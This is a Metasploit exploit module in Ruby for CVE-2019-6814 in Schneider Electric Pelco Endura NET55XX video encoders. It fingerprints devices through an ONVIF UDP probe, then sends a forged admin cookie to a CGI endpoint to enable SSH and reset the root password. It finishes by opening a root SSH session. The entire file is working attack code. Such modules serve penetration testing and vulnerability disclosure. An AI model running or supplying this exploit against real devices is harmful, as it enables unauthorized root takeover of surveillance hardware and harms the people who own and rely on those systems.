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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Schneider Electric Pelco Endura NET55XX Encoder", 'Description'=> %q( This module exploits inadequate access controls within the webUI to enable the SSH service and change the root password. This module has been tested successfully on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions. ), 'License'=> MSF_LICENSE, 'Author' => [ 'Lucas Dinucci <idntk.lucdin@gmail.com>', 'Vitor Esperança <vitor@machiaveliclabs.com>' ], 'References' => [ ['CVE', '2019-6814'], ['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/'] ], 'Payload'=> { 'Compat' => { 'PayloadType'=> 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ "Universal", {} ] ], 'Privileged' => true, 'DisclosureDate' => "Jan 25 2019", 'DefaultTarget'=> 0)) register_options( [ OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]), OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10]) ] ) register_advanced_options( [ OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]), OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def new_password datastore['NEW_PASSWORD'] end def check xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\ '<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\ '<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\ '<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\ '<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\ '<a:ReplyTo>'\ '<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\ '</a:ReplyTo>'\ '<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\ '</Header>'\ '<Body>'\ '<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\ '<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\ '</Probe>'\ '</Body>'\ '</Envelope><?xml version="1.0" encoding="UTF-8"?>' connect_udp(true, {'RPORT' => datastore['UDP_PORT']}) udp_sock.put(xmlPayload) resp = [] resp << udp_sock.get(datastore['TIMEOUT']) xmlResponse = resp.join(',') disconnect_udp if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508") return Exploit::CheckCode::Appears end CheckCode::Safe end def change_password print_status("#{peer} - Attempt to change the root password...") post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json login = send_request_cgi({ 'method' => 'POST', 'uri' =>normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'), 'data' => post, 'headers' => { 'Cookie'=> 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647', 'Content-Type'=> 'application/json;charset=utf-8' } }, timeout=datastore['TIMEOUT']) fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200 print_good("#{rhost}:80 - Successfully changed the root password...") print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}") end def do_login change_password print_status("#{rhost}:22 - Attempt to start a SSH connection...") factory = ssh_socket_factory opts = { :auth_methods=> ['password', 'keyboard-interactive'], :port=> 22, :use_agent => false, :config=> true, :password=> new_password, :proxy => factory, :non_interactive => true, :verify_host_key => :never } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(datastore['RHOST'], 'root', opts) end rescue Rex::ConnectionError rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:22 SSH - Disconnected during negotiation" rescue ::Timeout::Error print_error "#{rhost}:22 SSH - Timed out during negotiation" rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:22 SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}" end if ssh conn = Net::SSH::CommandStream.new(ssh) return conn end end def exploit conn = do_login if conn print_good("#{rhost}:22 - Session established ") handler(conn.lsock) end end end |
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